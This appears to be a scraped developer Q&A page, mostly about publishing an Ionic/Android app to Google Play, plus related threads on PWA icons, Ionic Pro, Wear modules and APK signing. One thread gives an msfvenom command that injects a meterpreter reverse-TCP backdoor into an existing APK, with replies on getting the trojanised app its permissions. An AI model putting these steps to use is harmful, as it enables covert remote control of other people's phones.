How to publish Angular-Ionic app to play store after completion of coding - ionic-framework

I have used the following command and completed my coding part.Those commands are ,
1. npm install -g ionic cordova
2. ionic start myproject sidemenu --type=angular
3. ionic serve
and my project is working fine.
Please guide me how to run Android SDK and publish my app in play store step by step??

Step 1: Sign up
Sign up for an account on the Android Developer Console. Creating an account costs $25.
Step 2: Create a new application
On the Developer Console select the Publish an Android Application option.
Fill out the details: Title, Short Description, Full Description.
Step 3: Prepare multimedia
Screenshots: I used the android emulator to take screenshots of my app.
Hi-res icon: I used the launcher icon. It was an SVG file, so I converted it to PNG using GIMP.
Feature graphic: This is an image that shows up on the top of the app download page in Google Play on mobile phones.
Step 4: Prepare code for release
Remove log statements.
Remove the android:debuggable attribute from your manifest file. I didn’t have to do this because Android Studio automatically sets this attribute based on the kind of APK its building. Neat!
Set the android:versionCode attribute in the manifest tag in manifest.xml. Two important notes: (1) This must be an integer that increases with each release. (2) This number is not displayed to users.
I chose “1”.
Set the android:versionName attribute in the manifest tag in manifest.xml. This string is shown to users and has no other purpose.
I chose “1.0”.
Step 5: Build a release-ready APK
The release-ready APK is different from the debug APK in that it is signed with certificate that is owned by the developer. This is done to ensure that updates to the app come from a verified source, i.e. a developer with access to the private key.
I recommend you follow the instructions here to create a signed APK.
TL;DR? Here are some important take-away points:
Android Studio -> Build -> Generate Signed APK
A Java Keystore (JKS) is a repository of public-private key pairs.
You must sign all APKs with the same key pair.
Losing a key-pair consequences that you will not be able to push updates to your app.
Step 6: Upload APK
Go back to the Developer Console and click on Manage Releases. Then create a Production Release and upload your signed APK.
Google will perform a check on the APK. My app was using an SVG for the launcher icon, which is no-bueno. I had to change it to PNG and recreate the signed APK.
Step 7:
Complete the checklist on the left until all the items have a green checkmark. The console re-evaluates the checklist every time you click Save Draft in the top right.
You are now ready to publish :)
Original post: https://android.jlelse.eu/publishing-an-android-app-da3502c652af
Android guid: https://developer.android.com/studio/publish/

Related

I want to update the existing logo for my PWA app

When I am updating the logo of the PWA app the icon is not getting updated for the previously installed applications. However for newly installed apps I am getting the correct logo.
Did you try updating the new image icon in manifest.json & then showing a prompt to users to refresh the PWA?
You can try to have a look at the documentation for Android APK (from the question is not clear your target device: web or mobile).
Chrome will periodically compare the locally installed manifest against a copy of the manifest fetched from the network. If any of the properties in the manifest required to add the PWA to the home screen have changed in the network copy, Chrome will request an updated WebAPK, reflecting those new values.
This feature is not yet available for desktop, but planned in a future release.
Do you use any framework (Angular, React) to build your PWA? If you want to read more details about how to install an app on the homescreen or the web manifest properties, you can have a look here.

payload injected app doesn't ask for any permissions

I'm trying to trying to inject an apk with msfvenom payload, and thus get a backdoor on my android device upon installing it. Why isn't it asking for permissions upon installation?
In the past I've been able to successfully create a standalone payload and get a backdoor tunnel to my device.
msfvenom -p android/meterpreter/reverse_tcp -x /Users/root/Downloads/newApp.apk LHOST=[IP] LPORT=[port] -o /Users/root/Desktop/android.apk
I expected the app to ask for all the permissions specified in manifest file, but it isn't asking for any during installation or at runtime.
I had the same problem, but I have found a fix for it.
create apk file injected with payload.
install it on your phone.
install APK Editor pro v1.9.7.
open the apk editor and search for the injected apk click on it and click on COMMON EDIT.
change Minimum SDK version to 10 and Target SDK Version to 17.
I have already checked it and it's working
You need to specify what permissions the Main.apk has in your device..did you check those?If it has not asked for permission chances are it has no permission.
I have found some problems in the payload generation, but I have also found a solution.
1.- Inject the payload in the original application.
2.- Install the apk file on an android device.
3.- Go to application settings and search for the infected application.
4.- Grant all permissions.
And that's it, this worked for me.

Can't link ionic app to ionic pro account

I have a monolith jhispter app and an ionic-jhipster app both working fine together (Thanks to Matt Raible and JHipster team). And I'm not sure if my problem has anything to do with JHipster.
Since I'm working on windows, I thought maybe I'd be better to use Ionic Pro cloud services to build my app for ios and Android. Please correct me if I'm wrong.
Here is the process I went through:
1-I added my Ionic app on GitHub. So, I'm using GitHub as my Source Control
2-I used "ionic ssh setup" command to create SSH public/private keys and I believe it took care of generating the keys and putting them in the right place I guess I didn't have to generate the SSH keys since it could work just by my user name and password too. Is that right?
3-I went to my app's folder and used "ionic link" to link my existing app to my Ionic Pro dashboard
4-In answer to existing app or new app (which was not clear to me what it's asking for), I chose new app since GaëlMarziou helped me in the comments section to understand there should be an app already created in my Ionic Pro so I can link my local app to it. It took me a while so I understood this prompt is asking about the dashboard app not my local app. I chose "new" since it was the first time I was using my Ionic Pro account and I had no app on it.
5-Then it asked about the source control and I chose GitHub and provided the credentials
6-Then it showed me a list of my repositories on GitHub so I can choose one. But before I do anything it just jumped out with no error/success messages. And I considered it done since I had the same names for my app and GitHub repository and I thought maybe it was smart enough to find the correct repository.
Now, I can see an app in my Ionic Pro dashboard but the build and commit history is empty and it looks like the app is not linked yet.
I tried "git push origin master" to build my app when I was in my Ionic app folder. I assume "origin" would work for any git repository, am I right? It tells me everything is up-to-date and nothing happens in my Ionic Pro dashboard.

Android Wear Deployment VS. Mobile Deployment

I have 2 modules in my project Mobile & Wear because I eventually want to add wear support. I have not done any work to the Wear project, it is just whatever Android Studio generates as part of the project creation template.
I noticed Android Studio creates 2 separate APKs when you do a signed build. I see 1 mobile APK and 1 Wear APK upon signed build.
If I would like to publish only the mobile Module now, and Wear later. Do I just upload the Mobile APK and that's it? Or are there any additional config / code changes necessary?
Thanks.
When you're developing, there's two different apk's as you said, because each one is used to test the app while we are developing.
Once that you want to submit your app to the market, these two .apk will become just one, calling this process "packaging wearable app".
So, if you want have just your mobile .apk, please go to build.gradle(mobile), and comment the code:
wearApp project(':wear')
Basically this line is telling to your compiler, to pack your wear app into your mobile app.

How to sign and align an android application generated by Intel XDK?

I want to use my custom keystore in this project because I intend to host the application in PlayStore and keep it updated. Without the keystore will be tricky.
Details: In the settings cordova, I not marked the "Signed" box and I exported the app and tried signing it using javasign. At the command prompt went well but the app does not install on any of the devices I tested.
The APK created by the Intel XDK is created using standard Cordova CLI. So the techniques you would use to sign that APK are no different than what you would use with any other Cordova (or PhoneGap) app or an APK built using Eclipse or any other tools.
See these links for some useful information:
-- http://developer.android.com/tools/publishing/app-signing.html
-- https://www.scirra.com/tutorials/861/how-to-sign-and-align-your-android-app-apk